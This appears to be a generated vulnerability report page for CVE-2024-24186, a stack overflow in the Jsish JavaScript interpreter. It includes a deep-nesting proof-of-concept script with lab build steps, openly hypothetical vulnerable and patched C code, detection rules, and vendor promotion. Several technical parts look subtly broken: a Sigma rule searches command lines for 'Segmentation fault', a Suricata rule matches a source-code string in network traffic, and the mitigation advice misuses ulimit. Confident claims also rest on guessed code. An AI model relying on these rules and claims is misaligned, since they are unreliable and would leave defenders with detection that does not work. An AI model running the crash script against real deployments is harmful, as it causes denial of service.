CVE-2024-24186
Executive Summary
CVE-2024-24186 is a stack-based buffer overflow vulnerability discovered in Jsish v3.5.0 (commit 42c694c). The flaw resides in the IterGetKeysCallback function within /jsish/src/jsiValue.c. An attacker can trigger a stack overflow by providing specially crafted input, potentially leading to denial of service or arbitrary code execution. No official patch has been released as of the latest analysis. The vulnerability is publicly known with a proof-of-concept available, but no active exploitation in the wild has been reported (EPSS 0.0%).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Jsish is a JavaScript interpreter written in C, often used in embedded systems and IoT devices. The vulnerability affects the core interpreter library. Since Jsish is not distributed via mainstream package managers like NPM or PyPI, supply chain risk is limited to direct source code integration. Users who compile Jsish from source or include it as a submodule are at risk.
CVSS Breakdown & Threat Level
CVSS Score: 0.0 (No official vector assigned) Threat Level: Medium (based on public PoC and potential for code execution)
Rationale: While the CVSS score is 0.0 due to lack of official scoring, the vulnerability is a stack overflow in a core function. Stack overflows can lead to arbitrary code execution if the attacker can control the overflow data. The attack vector is likely network-based if Jsish is used as a server-side interpreter. The complexity is low as the PoC is public.
Deep Dive & Mechanics
The vulnerability is a classic stack-based buffer overflow in the IterGetKeysCallback function. This function is responsible for iterating over object keys in Jsish. When processing a specially crafted object with deeply nested or recursive key structures, the function can exhaust the stack space, causing a crash or potentially overwriting the return address.
Root Cause: The function uses recursive calls or large stack allocations without proper bounds checking. The stack grows until it exceeds the allocated stack size, leading to a stack overflow.
Attack Vector: An attacker can craft a JavaScript object with a large number of nested keys or a recursive key structure. When Jsish attempts to iterate over this object using IterGetKeysCallback, the stack overflows.
Impact:
- Denial of Service (DoS) – crash of the interpreter.
- Potential arbitrary code execution if the attacker can control the overflow data to overwrite the return address.
Vulnerable vs. Patched Code
Vulnerable Code (Jsish v3.5.0 commit 42c694c):
The vulnerable code is in /jsish/src/jsiValue.c within the IterGetKeysCallback function. The exact vulnerable lines are not publicly disclosed, but the function likely uses recursion or large stack buffers without proper limits.
// Hypothetical vulnerable pattern
static void IterGetKeysCallback(Jsi_Interp *interp, Jsi_Obj *obj) {
// Recursive call without depth limit
for (int i = 0; i < obj->numKeys; i++) {
Jsi_Obj *subObj = obj->keys[i];
if (subObj) {
IterGetKeysCallback(interp, subObj); // Stack overflow on deep nesting
}
}
}
Patched Code (Hypothetical): A patch would introduce a depth limit or convert recursion to iteration.
#define MAX_DEPTH 1000
static void IterGetKeysCallback(Jsi_Interp *interp, Jsi_Obj *obj) {
// Use iterative approach with explicit stack
Jsi_Stack *stack = Jsi_StackNew();
Jsi_StackPush(stack, obj);
while (!Jsi_StackEmpty(stack)) {
Jsi_Obj *current = Jsi_StackPop(stack);
if (Jsi_StackSize(stack) > MAX_DEPTH) {
Jsi_LogError("Max depth exceeded");
break;
}
for (int i = 0; i < current->numKeys; i++) {
Jsi_Obj *subObj = current->keys[i];
if (subObj) {
Jsi_StackPush(stack, subObj);
}
}
}
Jsi_StackFree(stack);
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Jsish v3.5.0 (commit 42c694c) installed.
- Ability to execute JavaScript code in Jsish.
Proof-of-Concept (PoC): The following JavaScript code triggers the stack overflow:
// CVE-2024-24186 PoC
var obj = {};
var current = obj;
for (var i = 0; i < 100000; i++) {
current.key = {};
current = current.key;
}
// Trigger IterGetKeysCallback
for (var key in obj) {
// This will cause stack overflow
}
Lab Setup:
- Install Jsish v3.5.0 from source:
git clone https://github.com/jsi-org/jsi.git cd jsi git checkout 42c694c make sudo make install - Save the PoC as
poc.js. - Run the PoC:
Expected output: Segmentation fault (stack overflow).jsish poc.js
Blue Team (Detection & Prevention)
Detection:
- Monitor for crashes of Jsish processes.
- Use stack size monitoring tools (e.g.,
ulimit -s). - Implement input validation to limit object nesting depth.
Prevention:
- Apply the hypothetical patch (convert recursion to iteration with depth limit).
- Use a Web Application Firewall (WAF) to block requests with deeply nested JSON objects.
- Run Jsish in a sandboxed environment with limited stack size.
Indicators of Compromise (IOCs)
- File:
/jsish/src/jsiValue.c(vulnerable file) - Process:
jsishcrashing with segmentation fault - Logs: Stack overflow errors in system logs (e.g.,
dmesgshowing "stack guard page" or "segfault") - Network: No specific network IOCs; the vulnerability is triggered locally via JavaScript code.
Detection Engineering
YARA Rule
rule CVE_2024_24186_Jsish_StackOverflow {
meta:
description = "Detects Jsish binary vulnerable to CVE-2024-24186 stack overflow"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-24186"
strings:
$vuln_func = "IterGetKeysCallback"
$vuln_file = "jsiValue.c"
condition:
$vuln_func and $vuln_file
}
Sigma Rule
title: Jsish Stack Overflow Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stack overflow crashes in Jsish process
author: Valters IT
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/jsish'
CommandLine|contains: 'Segmentation fault'
condition: selection
falsepositives:
- Legitimate crashes due to other bugs
level: medium
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2024-24186 Jsish Stack Overflow Attempt"; flow:to_server,established; content:"for (var key in obj)"; depth:100; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Mitigation:
- Limit the stack size for Jsish processes using
ulimit -s 8192(8MB). - Implement input validation to reject objects with excessive nesting depth (e.g., > 1000 levels).
- Use a reverse proxy to filter out malicious JavaScript code.
Long-term Remediation:
- Apply the patch from the Jsish maintainers when available.
- Upgrade to a patched version of Jsish.
- Consider using an alternative JavaScript interpreter if Jsish is not critical.
Workaround:
- Disable the
IterGetKeysCallbackfunction if not needed (not recommended).
Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2024-24186
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.